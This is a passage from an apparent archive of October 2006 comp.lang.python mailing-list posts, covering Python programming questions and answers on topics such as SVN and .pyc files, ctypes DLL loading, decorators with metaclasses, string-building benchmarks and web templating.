interval with the time of that interval. Since I only have seconds, I need to wait 100 seconds for may calculation is I want a precision of 1%. The radiator fan that I use can't stand these long intervals, 'cause I run it with 24V and 50 Amps to get decent airflow (10m/s) through my heat exchanger. Again: how do I get the hundreds of seconds from the system clock? In Pascal it was: GetTime( Hr1, Min1, Sec1, cSec1); (yes, I'm that old). --- ir EE van Andel eur at fiwihex.nl www.fiwihex.nl Fiwihex B.V. Wierdensestraat 74, NL7604BK Almelo, Netherlands tel+31-546-491106 fax+31-546-491107 From gh at gregor-horvath.com Fri Oct 13 04:32:52 2006 From: gh at gregor-horvath.com (Gregor Horvath) Date: Fri, 13 Oct 2006 10:32:52 +0200 Subject: Using SVN with Python and .pyc files In-Reply-To: References: Message-ID: <72550$452f4f34$506c2949$5297@news.chello.at> James Stroud schrieb: > project or package. How do people manage this? Do you run a script to > find files with the .pyc extension and delete those before every commit, > or is there a more elegant way? It seems like a lot of wasted bandwidth > an memory on the server side to constantly be dealing with these files > that contain no real information. in /etc/subversion/config global-ignores = *.pyc *~ #*# -- Servus, Gregor From gagsl-py at yahoo.com.ar Mon Oct 30 20:23:03 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Mon, 30 Oct 2006 22:23:03 -0300 Subject: scared about refrences... In-Reply-To: <1162251429.386255.289620@e3g2000cwe.googlegroups.com> References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> <1162251429.386255.289620@e3g2000cwe.googlegroups.com> Message-ID: <7.0.1.0.0.20061030221143.04eb35f0@yahoo.com.ar> At Monday 30/10/2006 20:37, Nick Vatamaniuc wrote: >In Python all the primitives are copied and all other entities are >references. What do you mean? primitives==builtin classes? entities==objects? In Python, objects are never automatically copied, either builtin or user-defined. Even 123 is an object. Names provide references to objects. Perhaps you were thinking of *another* language. -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From ilias at lazaridis.com Sun Oct 8 12:32:37 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 8 Oct 2006 09:32:37 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45254B18.2090806@v.loewis.de> <0BQVg.138807$zy5.1859480@twister1.libero.it> <2vXVg.139282$_J1.908700@twister2.libero.it> <1160279378.414897.263600@i42g2000cwa.googlegroups.com> Message-ID: <1160325157.573430.175040@b28g2000cwb.googlegroups.com> Ben Finney wrote: > "Ilias Lazaridis" writes: > > > As for Mr. Holden... it's not a matter of not respecting you. > > It is in his nature to babble in this way. > > Sometimes it's even funny! > > Oh my. You have *seriously* misjudged this group if you think that > comment will give you any net gain in discussions here. I'm not interested in any gain (except within the systems that I produce). My intention was mainly to place myself on the side of the OP, before the 'Herd of Savages' (the 'Regular Posters') get's out of control and eat's him. . From steve at holdenweb.com Thu Oct 5 02:12:26 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 07:12:26 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: <87hcyjel70.fsf@benfinney.id.au> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <452410E9.9040403@v.loewis.de> <1159997348.228622.246410@h48g2000cwc.googlegroups.com> <87hcyjel70.fsf@benfinney.id.au> Message-ID: Ben Finney wrote: > "David Goodger" writes: > > >>Look at the results again. Jira and RoundUp tied for functionality, >>but Jira has a hosting/admin offer behind it. That's huge. But >>rather than declaring Jira the outright winner, which they could >>have done, the committee has allowed the community to decide the >>matter. If enough admins come forward, RoundUp will win. >> >>I read that as a big push for "written in Python". > > > I prefer to read it as a big push for "not dependent on non-free > tools". > And I'd prefer it if you'd drop this subject. So, if you have nothing new to say, kindly leave it. You have made your opinion known, as you are fully entitled to do. Frankly I am getting less interested in your opinion with each new post. You appear to be prepared to go to any length short of providing effort to support the open source tracker. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From mike$#at^&nospam!%trauschus Thu Oct 26 14:36:00 2006 From: mike$#at^&nospam!%trauschus (Michael B. Trausch) Date: Thu, 26 Oct 2006 14:36:00 -0400 Subject: PyDev + Eclipse (Was: Re: What's the best IDE?) In-Reply-To: <1161880517.440039.215280@i3g2000cwc.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <1161880517.440039.215280@i3g2000cwc.googlegroups.com> Message-ID: olive wrote: > > Did you try to set your PYTHONPATH properly with the same content in > both central AND project preferences ? > Yep. Still does it. And the kicker is, that it does it with things that it shouldn't have to wonder terribly much about -- classes that I have custom-built, where it can easily find the available methods and the like. *shrugs* -- Mike From kay.schluehr at gmx.net Sun Oct 15 09:55:29 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 15 Oct 2006 06:55:29 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <1160802056.744732.323540@e3g2000cwe.googlegroups.com> <1160808124.455062.319660@m7g2000cwm.googlegroups.com> <1160862969.087167.29990@f16g2000cwb.googlegroups.com> Message-ID: <1160920529.461012.263220@i3g2000cwc.googlegroups.com> brenocon at gmail.com wrote: > Kay Schluehr wrote: > > The with statement is already implemented in Python 2.5. > > > > http://docs.python.org/whatsnew/pep-343.html > > > > The main difference between the with statement and Ruby blocks is that > > the with-statement does not support loops. Yielding a value of a > > function decorated with a contextmanager and passing it to the BLOCK of > > the with statement is essentially a one-shot. Therefore you can't use > > the with statement to define iterators. It is not a lightweight visitor > > pattern replacement as it is in Ruby. Hence the with- and the > > for-statement are orthogonal to each other in Python. > > Thanks or the What's-New link, it clarified things for me. So there > are several ways to do things with code blocks now in python.. > * for/while define loops around their blocks > * if defines contional control into its block > * with defines startup/cleanup context surrounding its block > > Twisted addCallback() is a different pattern than either of these. The > code is deferred to execute at some later time. If there are many more > patterns of things you could want to do with a block, it might be nice > to have a blocks-are-closures mechanism. That's true. As I mentioned in my response to Paul Boddie I do think it is a poor solution even in Ruby(!) but I agree that given the situation we just have with poorly designed application frameworks ( no illusion: they won't ever go away and I do not pretend to be smarter and doing it better in any case ) blocks are a quite nice feature for providing ad hoc solutions. I consider them as somewhat aligned with a worse-is-better philosophy. ---- I recently created an extended lambda as an example for my EasyExtend language extension framework for Python. These kind of showcases are, at least for me, important for getting programming practice within the system and explore and extend the framework. The two things I cared about when altering the semantics of lambda were: 1) Enabling multiple expressions separated by ';' 2) Enabling so called "simple statements" Python does not only distinguish between expressions and statements but also between simple and compound statements within its grammar description. A compound statement is typically multiline and contains a block. A simple statement is something like print, exec, raise or assert containing no block. So I actually extended lambda to the limit of an anonymous closure containing no block. One might take this into consideration and alter the premises. But this would be up to you, breno. At the moment I do not recommend using EE because it is under heavy reconstruction but for the not so distant future ( end of november is my personal deadline for the next release ) I recommend taking a look on it by anyone who aims to walk the RoR path of a customized domain specific language for Python. For those who are dilligent there are will be quite a lot of examples. For some it might be even fun. From grahamd at dscpl.com.au Sat Oct 21 22:48:36 2006 From: grahamd at dscpl.com.au (grahamd at dscpl.com.au) Date: 21 Oct 2006 19:48:36 -0700 Subject: silent processing with python+modpython+cheetah References: Message-ID: <1161485316.454645.97730@k70g2000cwa.googlegroups.com> Sai Krishna M wrote: > Hi, > > I have been working for some time developing web pages using python, > modpython, cheetah. > I find that this method has come inherent difficulties in it like if > we want to generate a single page we have to write two separate files > ( py & tmpl). > Is there any other better way of doing things.? It sounds like you are actually using mod_python.publisher and hand crafting the code to render the template file in each instance. Using mod_python.publisher is not the same as using basic mod_python handlers directly. If you were using basic mod_python handlers directly, you certainly could write your own dispatcher which encapsulates in one place the code needed to render a Cheetah template file, thereby avoiding the need to create .py file corresponding to every Cheetah template file. > Also if we want to have partial processing of the pages, i.e, the > value one chooses for a particular field determines the value to be > entered for another field in the same page, how can it be done? That sounds like an internal issue of how you use Cheetah templates itself. Cheetah templates have flow control abilities, blocks etc such that one can control what parts of a page are actually used. Since mod_python inherently means you start out working at a low level, and that you don't perhaps fully appreciate the different levels of functionality in mod_python and how to use them, you are possibly better off using a high level framework such as Django or TurboGears where someone else has done all the hard work of making it simple to use. Graham From gal.diskin at gmail.com Sat Oct 7 09:46:58 2006 From: gal.diskin at gmail.com (Gal Diskin) Date: 7 Oct 2006 06:46:58 -0700 Subject: building strings from variables References: <1160098957.196734.192950@i3g2000cwc.googlegroups.com> Message-ID: <1160228818.446882.286550@i42g2000cwa.googlegroups.com> First of all - thanks for all the replies. (Sorry for my slowness in answering, but I wrote this message from work, just before leaving for the weekend.) I found a couple of posts that might be of interest: Regarding speed I found a similar discussion in this newsgroup with interesting results: http://groups.google.com/group/comp.lang.python/browse_frm/thread/86aa0dd9dc0ed9cd/502a252f2c5ed778 Wesley, you might be interested to find that join is not necessarily faster according to this thread. Jordan you might also be interested to see their benchmarking. The following post may also be of interest: http://groups.google.com/group/comp.lang.python/msg/5ca4321e1d493fe9 (I haven't found the time to check this one myself so it comes with limited warranty) Regarding readability and "better" code my preferred methods are the 2 methods I haven't mentioned introduced by Rainy (%(varname)s ..." % globals()) and by Scott David Daniels (' '.join[...]). Thanks, I already knew join, but failed to include it for some reason but I wasn't aware you could use dictionaries like this as well. Thanks Jordan for making the effort to do the benchmarking. I think I got similar results on several machines - according to my personal benchmarking (based on short strings, and therefore relevant only to such), the fastest method is "%s %d %s" % (p1, p2, p3) . However, all other methods get close results (i.e. not above 1.5x runtime) except for template.replace which is much slower by rate of about 15x. When it comes to choosing between using template.replace or "%(varname)s ..." % globals() my preference is for the latter without a doubt. -- Gal Diskin G__.D_____ at Intel.com G__.D_____ at gmail.com Work: +972-4-865-1637 Cell: +972-54-7594166 From fredrik at pythonware.com Wed Oct 11 05:42:43 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 11:42:43 +0200 Subject: sufficiently pythonic code for testing type of function In-Reply-To: <463ff4860610110213v792e2fddr989d5d724270838@mail.gmail.com> References: <452cab5d$0$5294$426a74cc@news.free.fr> <463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com> <463ff4860610110213v792e2fddr989d5d724270838@mail.gmail.com> Message-ID: Theerasak Photha wrote: > I'll do that as soon as my green noggin figures out what 'idempotent' means. "Acting as if used only once, even if used multiple times", to quote the first explanation I saw on the google result page. and from the irony department, googling for "indempotent" provides an even clearer explanation: "Refers to an operation that produces the same results no matter how many times it is performed." From rschroev_nospam_ml at fastmail.fm Sat Oct 14 10:00:05 2006 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Sat, 14 Oct 2006 14:00:05 GMT Subject: Python component model In-Reply-To: References: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net> <1160692692.522474.96540@i42g2000cwa.googlegroups.com> Message-ID: Edward Diener No Spam schreef: > It would be easier for me if you could get an NG somewhere for > Enthought, perhaps on GMane, since I always find mailing lists much more > clunky than a good NG. But that is up to Enthought. FYI: you don't necessarily depend on Enthought for that; anyone can ask Gmane to add a mailing list to their gateway via the form at http://gmane.org/subscribe.php -- If I have been able to see further, it was only because I stood on the shoulders of giants. -- Isaac Newton Roel Schroeven From myeates at jpl.nasa.gov Mon Oct 23 18:32:57 2006 From: myeates at jpl.nasa.gov (myeates at jpl.nasa.gov) Date: 23 Oct 2006 15:32:57 -0700 Subject: using mmap on large (> 2 Gig) files Message-ID: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> Hi Anyone ever done this? It looks like Python2.4 won't take a length arg > 2 Gig since its not seen as an int. Mathew From ewijaya at i2r.a-star.edu.sg Tue Oct 3 09:37:20 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Tue, 03 Oct 2006 21:37:20 +0800 Subject: Howto pass Array/Hash into Function References: <"11598677 55.636060.48790"@m7g2000cwm.googlegroups.com> <1159868807.385239.307390@h48g2000cwc.googlegroups.com> Message-ID: <3ACF03E372996C4EACD542EA8A05E66A061582@mailbe01.teak.local.net> Thanks for your understanding Steve. Furthermore, my related concern is how does Python actually deal with 'reference' in Perl. But now, it is clear to me now that Python simply treats them as object. Regards, Edward WIJAYA SINGAPORE ________________________________ From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Steve Holden Sent: Tue 10/3/2006 8:08 PM To: python-list at python.org Subject: Re: Howto pass Array/Hash into Function It wouldn't be obvious to someone who learned Perl as their first programming language because Perl chose to ignore the otherwise almost universal convention that formal parameters determine the arguments that a function or procedure can be calles with. regards Steve ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From steve at holdenweb.com Mon Oct 30 05:50:43 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 30 Oct 2006 10:50:43 +0000 Subject: wxPython for web development? In-Reply-To: <1162178374.312799.247340@m73g2000cwd.googlegroups.com> References: <1162178374.312799.247340@m73g2000cwd.googlegroups.com> Message-ID: walterbyrd wrote: > I assume that wxWidgets can not be used if all you have is mod-python? > Correct. wxPython assumes access to some sort of screen-based interface, with direct keyboard and mouse input. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From surendra.lingareddy at gmail.com Mon Oct 23 14:22:54 2006 From: surendra.lingareddy at gmail.com (Suren) Date: 23 Oct 2006 11:22:54 -0700 Subject: HTML Templates (Sitemesh/Tiles concept) in Python In-Reply-To: <453d02a7$0$15559$426a34cc@news.free.fr> References: <1161618598.598300.127970@m73g2000cwd.googlegroups.com> <453d02a7$0$15559$426a34cc@news.free.fr> Message-ID: <1161627774.471594.223360@m7g2000cwm.googlegroups.com> > Python with ? CGI ? FastCGI ? mod_python ? Other ? We are using mod_python and SSI. We are inheriting some legacy code that we do not want to mess with at all. > You shouldn't - unless this is an internal web-based application, not a > public site. Since your dynamically generating the pages, there's no > gain using frames - but there are huge drawbacks, for the programmers as > well as for the visitors. Although not an internal site, this site is going to be in a controlled environment. Only a handful of people may access the website. > There are lot of web templating engines in Python, and most of them > provide some way to either "extend" an existing template (to fill-in > page-specific stuffs) or to do server-side-includes-like inclusion of > common parts. Google for Genshi, Jinja, SimpleTAL, Mighty, Cheetah... I will look at these and see it works. > > > Any other tips to help life easier are appreciated. > > Have you considered using one of the existing python web development > libraries/frameworks? Like Pylons, Turbogears, Django, Spyce, Karigell, > etc, etc, etc, etc... > > My 2 cents... We have not considered a framework coz the legacy code base has not included one. We are living in the same source structure and did not want to introduce a newer dependency. I hope we can find a non-intrusive library/framework that does its job. Thanks. From bj_666 at gmx.net Wed Oct 18 18:41:35 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Thu, 19 Oct 2006 00:41:35 +0200 Subject: characters in python References: Message-ID: In , Stens wrote: > Stens wrote: >> Can python handle this characters: ?,?,?,?,?? >> >> If can how" > I wanna to change some characters in text (in the file) to the > characters at this address: > > http://rapidshare.de/files/37244252/Untitled-1_copy.png.html Do you want to change the characters in a picture!? Your question still is *very* vague. Please provide a more detailed description of the problem at hand. What do you have? A text file? In which encoding? And what do you want to achieve? Ciao, Marc 'BlackJack' Rintsch From cephire at gmail.com Fri Oct 27 15:22:16 2006 From: cephire at gmail.com (Joseph) Date: 27 Oct 2006 12:22:16 -0700 Subject: Import Error Message-ID: <1161975391.074336.226460@m7g2000cwm.googlegroups.com> Hi, I am using Karrigell & Sprite for web development. Sprite is placed in the main folder of my app. I got a sub-folder called admin. I am using the below line to import Sprite from the subfolder. from ..sprite import Sprite Most of the time it works. However time to time, it will throw an error that there is no module called Sprite. I delete the .pyc file, call a page in the main folder, then it will work. Any help how I can resolve it? Thank you in advance, Joseph From peter.maas at utilog.de Tue Oct 10 19:32:20 2006 From: peter.maas at utilog.de (Peter Maas) Date: Wed, 11 Oct 2006 01:32:20 +0200 Subject: Python component model In-Reply-To: <452b7aae$0$306$426a74cc@news.free.fr> References: <452b7aae$0$306$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers schrieb: > Marc 'BlackJack' Rintsch wrote: > (snip) > Python itself is a RAD tool. > > +1 QOTW No, please stop self-assuring, self-pleasing QOTWs! This afternoon I was in the local book warehouse and went to the computer book department. They had banned 2-3 Python books together with some Perl- and C/C++ stuff into the last row. At the regular place I found a huge pile of Java books and - in comparison to Java - a small but growing number of books about Ruby in general, Ruby on Rails and - new to me - JRuby. Now I don't think that Ruby is a bad language. But I think Python is better and it started earlier. I don't know whether Ruby on Rails was a fluke or the result of clever analysis. Since a large part of programming is web programming it is not bad to have a good and visible tool in place to attract programmers. It is also a good idea to hook on Java's success but while Jython 2.2 is in alpha state since 3 years I see an increasing number of books/articles telling how to migrate from Java to (J)Ruby. Since I started using Python 4 years ago I hear Ruby people announce with an amazing audacitiy that Ruby is bound to be number one and will for sure leave Python behind. To prevent this to happen parts of the Python community should have a more critical attitude to the language. Too often I hear the same mantras being repeated over and over again (GIL, self, IDE etc.). I don't say these mantras are all wrong but perhaps it would be good to remove the GIL just to stop people talking about Python's lack of multi-threading or polish Python's class syntax to stop people talking about Python's OO being bolted on etc. Programmers often choose their languages by very silly reasoning (silliest being the indentation issue) and maybe we should take the silliness into account instead of laughing about those silly folks. I for my part would be happy to see a Delphi-like RAD tool for Python, a reference implementation for web programming as part of the standard library, Jython 2.5, Python for PHP or whatever attracts new programmers. Peter Maas, Aachen From mnations at gmail.com Fri Oct 27 20:37:04 2006 From: mnations at gmail.com (Mudcat) Date: 27 Oct 2006 17:37:04 -0700 Subject: Ctypes Error: Why can't it find the DLL. In-Reply-To: <453e9de8$0$12416$426a74cc@news.free.fr> References: <1161711630.004644.187330@h48g2000cwc.googlegroups.com> <453e9de8$0$12416$426a74cc@news.free.fr> Message-ID: <1161995824.947791.117190@m73g2000cwd.googlegroups.com> That was it. Once I added the other DLLs then it was able to find and make the call. Thanks for all the help, Marc Bruno Desthuilliers wrote: > Mudcat a ?crit : > > Hi, > > > > I can't figure out why ctypes won't load the DLL I need to use. I've > > tried everything I can find (and the ctypes website is down at the > > moment). Here's what I've seen so far. > > > > I've added the file arapi51.dll to the system32 directory. However > > when I tried to access it I see this: > > > (snip) > > WindowsError: [Errno 126] The specified module could not be found > > > > So then I use the find_library function, and it finds it: > (snip) > > At that point I try to use the LoadLibrary function, but it still can't > > find it: > (snip) > > WindowsError: [Errno 126] The specified module could not be found > > > > What am I doing wrong? I've used ctypes before and not had this > > problem. Before, I've just added the file to the system32 directory and > > not had this problem. > > Looks like it could have to do with another dll arapi51.dll depends upon > that would be missing, cf: > http://aspn.activestate.com/ASPN/Mail/Message/ctypes-users/2593616 > > HTH From timr at probo.com Thu Oct 26 02:17:20 2006 From: timr at probo.com (Tim Roberts) Date: Thu, 26 Oct 2006 06:17:20 GMT Subject: How to get each pixel value from a picture file! References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> <1161643563.111993.109480@b28g2000cwb.googlegroups.com> Message-ID: "Lucas" wrote: > >2) I want to put a number into the picture for encryption(replace least >significant bit (LSB) of image intensity with message bit). What formats are your images? Remember that JPEG images are compressed when they are written. It is rather unlikely that your low-order bit changes will survive the compression process. There is lots and lots of research on this subject. It's called "steganography" and "digital watermarking". Google is your friend. -- Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From 71david at libero.it Wed Oct 18 08:51:16 2006 From: 71david at libero.it (David) Date: Wed, 18 Oct 2006 14:51:16 +0200 Subject: matrix Multiplication References: <1161170249.549988.260870@m73g2000cwd.googlegroups.com> Message-ID: <21kw1dd7tyt1.17useke8ur07r.dlg@40tude.net> Il 18 Oct 2006 04:17:29 -0700, Sssasss ha scritto: > hi evrybody! > > I wan't to multiply two square matrixes, and i don't understand why it > doesn't work. Can I suggest a little bit less cumbersome algorithm? def multmat2(A,B): "A*B" if len(A)!=len(B): return "error" # this check is not enough! n = range(len(A)) C = [] for i in n: C.append([0]*len(A)) # add a row to C for j in n: a = A[i] # get row i from A b = [row[j] for row in B] # get col j from B C[i][j] = sum([x*y for x,y in zip(a,b)]) return C regards D. From exarkun at divmod.com Tue Oct 10 11:26:51 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Tue, 10 Oct 2006 11:26:51 -0400 Subject: can regular ol' python do a php include? In-Reply-To: Message-ID: <20061010152651.1717.1431004294.divmod.quotient.72775@ohm> On Tue, 10 Oct 2006 15:00:08 GMT, John Salerno wrote: >Fredrik Lundh wrote: > >> you don't even need anything from the standard library to inserting output >> from one function into given text... >> >> text = "... my page with %(foo)s markers ..." >> >> print text % dict(foo=function()) > >Wow, thanks. So if I have a file called header.html that contains all my >header markup, I could just insert this line into my html file? (which I >suppose would become a py file) > >print open('header.html').read() > >Not quite as elegant as include('header.html'), but it seems like it >would work. def include(filename): print open(filename).read() include('header.html') Behold, the power of a general purpose programming language. Jean-Paul From bbull at optiosoftware.com Thu Oct 19 18:52:42 2006 From: bbull at optiosoftware.com (WakeBdr) Date: 19 Oct 2006 15:52:42 -0700 Subject: Can I use decorators to manipulate return type or create methods? In-Reply-To: <4ppla2Fit83qU1@uni-berlin.de> References: <1161265429.237110.43380@m73g2000cwd.googlegroups.com> <4ppla2Fit83qU1@uni-berlin.de> Message-ID: <1161298362.722062.265520@i3g2000cwc.googlegroups.com> Diez, What does the function._marked accomplish? Diez B. Roggisch wrote: > WakeBdr schrieb: > > I'm writing a class that will query a database for some data and return > > the result to the caller. I need to be able to return the result of > > the query in several different ways: list, xml, dictionary, etc. I was > > wondering if I can use decorators to accomplish this. > > > > For instance, I have the following method > > > > def getUsers(self, params): > > return users.query(dbc) > > > > To get the appropriate return types, I also have these methods. I have > > these convenience methods for every query method in my class. > > > > def getUsersAsXML(self, params): > > return self._toXML(self.getUsers(params)) > > def getUsersAsDict(self, params): > > return self._toDict(self.getUsers(params)) > > def getUsersAsList(self, params): > > return self._toList(self.getUsers(params)) > > > > Instead of creating these three methods for every query method, is > > there a way to use decorators to manipulate the return type. I'd still > > like to have the caller use getUsersAsXML, I just don't want to write > > the AsXML methods for every query method. So the decorator would > > essentially create the convenience methods instead of me coding them. > > > > One solution that I don't want to use is passing a variable into the > > query method that determines the return type. This is what I don't > > want to do. > > def getUsers(self, params, returnType): > > > > Any ideas on how I can accomplish this? > > Use a metaclass. > > class Magic(type): > def __new__(cls, name, bases, d): > for name, function in d.items(): > try: > function._marked > def toXML(self, *args, **kwargs): > return self._toXML(function(self, *args, **kwargs)) > def toFOO(self, *args, **kwargs): > return self._toFOO(function(self, *args, **kwargs)) > d[name + "XML"] = toXML > d[name + "FOO"] = toFOO > except AttributeError: > pass > return type(name, bases, d) > > > def mark(f): > f._marked = True > return f > > class MyClass(object): > __metaclass__ = Magic > > def _toXML(self, value): > return "Look Ma, its XML! %r" % value > > def _toFOO(self, value): > return "Look Ma, its FOO! %r" % value > > > @mark > def someMethod(self): > return "Its the data, son" > > > o = MyClass() > > print o.someMethod() > print o.someMethodXML() > print o.someMethodFOO() > > > > Diez From fredrik at pythonware.com Sun Oct 22 14:56:56 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 22 Oct 2006 20:56:56 +0200 Subject: ElementSOAP tutorial / HTTPClient In-Reply-To: <1161542741.637705.272180@b28g2000cwb.googlegroups.com> References: <1161542741.637705.272180@b28g2000cwb.googlegroups.com> Message-ID: mirandacascade at yahoo.com wrote: > 2) how should I have constructed my searches when attempting to resolve > this issue such that I wouldn't have had to post this question? maybe reading the highlighted "Note" at the top of each page in that article series could have helped? "Note: A distribution kit containing the source code for this article is available from the effbot.org downloads site (look for elementsoap)." From hanumizzle at gmail.com Fri Oct 13 16:03:26 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Fri, 13 Oct 2006 16:03:26 -0400 Subject: wing ide vs. komodo? In-Reply-To: <18SXg.27347$Go3.9933@dukeread05> References: <2nRXg.108$1n3.2866@news.tufts.edu> <18SXg.27347$Go3.9933@dukeread05> Message-ID: <463ff4860610131303v517d5170h75922ca47e688251@mail.gmail.com> On 10/13/06, hg wrote: > I have spend the past two years with eclipse/pydev ... a few issue are > still troublesome to me (speed, search for definitions ... being a few > of them) ... and until two days ago I had not even looked at Wing as I > wrongly thought it was on Windoze-based. But I must must admit I am > impressed - yet I feel it would be stupid to not look carefully at > Komodo ... hence my questions. I haven't used Komodo personally. I like Emacs. However: 1) *Appearing* sparse doesn't mean much---Emacs 22's GTK interface 'looks' sparse as well, and sparse is the last word that comes to mind when I think of Emacs 2) I've *heard* good things about Komodo before from others---it might just be awesome Perhaps you could try the Eric IDE? I hear SPE is not in active dev.--- a pity to be sure, but I have used Eric before and found it pretty easy to use and featureful. -- Theerasak From limodou at gmail.com Tue Oct 17 02:42:26 2006 From: limodou at gmail.com (limodou) Date: Tue, 17 Oct 2006 14:42:26 +0800 Subject: Best IDE? In-Reply-To: <200610140159.41762.fulvio@tm.net.my> References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> <463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com> <505f13c0610130817g41d6fd03qf62c8c0338292554@mail.gmail.com> <200610140159.41762.fulvio@tm.net.my> Message-ID: <505f13c0610162342gf1b97f7r1476df68adaaf457@mail.gmail.com> On 10/14/06, Fulvio wrote: > *********************** > Your mail has been scanned by InterScan MSS. > *********************** > > > On Friday 13 October 2006 23:17, limodou wrote: > > hope you try it. > > If you'll manage for macro recording, playing back and from file then I'll be > yours :) > > F > I'll add this funcationality at 3.6 version. And I want to release 3.5 as soon as I can. -- I like python! UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad My Blog: http://www.donews.net/limodou From skip at pobox.com Mon Oct 23 13:52:35 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 23 Oct 2006 12:52:35 -0500 Subject: Looking for a Python-on-Windows person to help with SpamBayes Message-ID: <17725.355.375498.751862@montanaro.dyndns.org> I'm looking for some help with SpamBayes. It can be short-term or long-term. I've implemented some OCR capability based on the open source ocrad program that works reasonably well to extract text tokens from image-based spam. Alas, I don't use Windows at all, so I can't make sure this stuff works on Windows. None of the usual suspects in the SpamBayes development community have any free time at the moment. Others are helping out, but they are user types, not programmer types, so the round trip between "this doesn't work", to "okay, try this" and back again is agonizingly slow. The bare requirements are: * Able to program in Python on Windows (that is, remove my Unix-think from the OCR bits of code) * Use Outlook to read mail (so you can test the changes with the SpamBayes Outlook plugin) If you can compile software under cygwin (the ocrad program builds fine under cygwin) and/or can create installers for Python-based Windows apps that would be a plus. If you can help out, please drop an email to spambayes-dev at python.org. Thanks, -- Skip Montanaro - skip at pobox.com - http://www.mojam.com/ "The hippies and the hipsters did some great stuff in the sixties, but the geeks pulled their weight too." -- Billy Bragg From skip at pobox.com Fri Oct 6 16:32:53 2006 From: skip at pobox.com (skip at pobox.com) Date: Fri, 6 Oct 2006 15:32:53 -0500 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: References: Message-ID: <17702.48501.281404.264651@montanaro.dyndns.org> Peter> I have noticed that in the language shootout at Peter> shootout.alioth.debian.org the Python program for the n-body Peter> problem is about 50% slower than the Perl program. This is an Peter> unusual big difference. I tried to make the Python program faster Peter> but without success. Has anybody an explanation for the Peter> difference? It's pure math so I expected Perl and Python to have Peter> about the same speed. They do have "about the same speed" (factor of 1.6x between Perl and Python). The Python #2 improves that to under 1.4x. I took the original version, tweaked it slightly (probably did about the same things as Python #2, I didn't look). For N == 200,000 the time went from 21.94s (user+sys) to 17.22s. Using psyco and binding just the advance function on my improved version improved that further to 6.48s. I didn't have the patience to run larger values of N. Diff appended. I suspect the numpy users in the crowd could do somewhat better. Skip % diff -u nbody.py.~1~ nbody.py --- nbody.py.~1~ 2006-10-06 15:13:31.636675000 -0500 +++ nbody.py 2006-10-06 15:24:46.048689000 -0500 @@ -5,6 +5,7 @@ # contributed by Kevin Carson import sys +import psyco pi = 3.14159265358979323 solar_mass = 4 * pi * pi @@ -14,19 +15,20 @@ pass def advance(bodies, dt) : - for i in xrange(len(bodies)) : + nbodies = len(bodies) + for i in xrange(nbodies) : b = bodies[i] - for j in xrange(i + 1, len(bodies)) : + for j in xrange(i + 1, nbodies) : b2 = bodies[j] dx = b.x - b2.x dy = b.y - b2.y dz = b.z - b2.z - distance = (dx**2 + dy**2 + dz**2)**0.5 - - b_mass_x_mag = dt * b.mass / distance**3 - b2_mass_x_mag = dt * b2.mass / distance**3 + dsqr = (dx*dx + dy*dy + dz*dz) + dtd3 = dt / dsqr ** 1.5 + b_mass_x_mag = dtd3 * b.mass + b2_mass_x_mag = dtd3 * b2.mass b.vx -= dx * b2_mass_x_mag b.vy -= dy * b2_mass_x_mag @@ -39,6 +41,7 @@ b.x += dt * b.vx b.y += dt * b.vy b.z += dt * b.vz +psyco.bind(advance) def energy(bodies) : e = 0.0 From bignose+hates-spam at benfinney.id.au Tue Oct 24 19:36:51 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 25 Oct 2006 09:36:51 +1000 Subject: Visibility against an unknown background References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com> <12jsc6r4ddnr886@corp.supernews.com> Message-ID: <871woxp9po.fsf@benfinney.id.au> Grant Edwards writes: > The traditional way to draw lines on something with varying colors > is to use the "xor" operator when drawing the lines. But first, negotiate a patent license for this highly innovative and non-obvious technique that is "owned" as US Patent #4,197,590. Aren't monopolies on ideas wonderful? -- \ "I'd like to see a nude opera, because when they hit those high | `\ notes, I bet 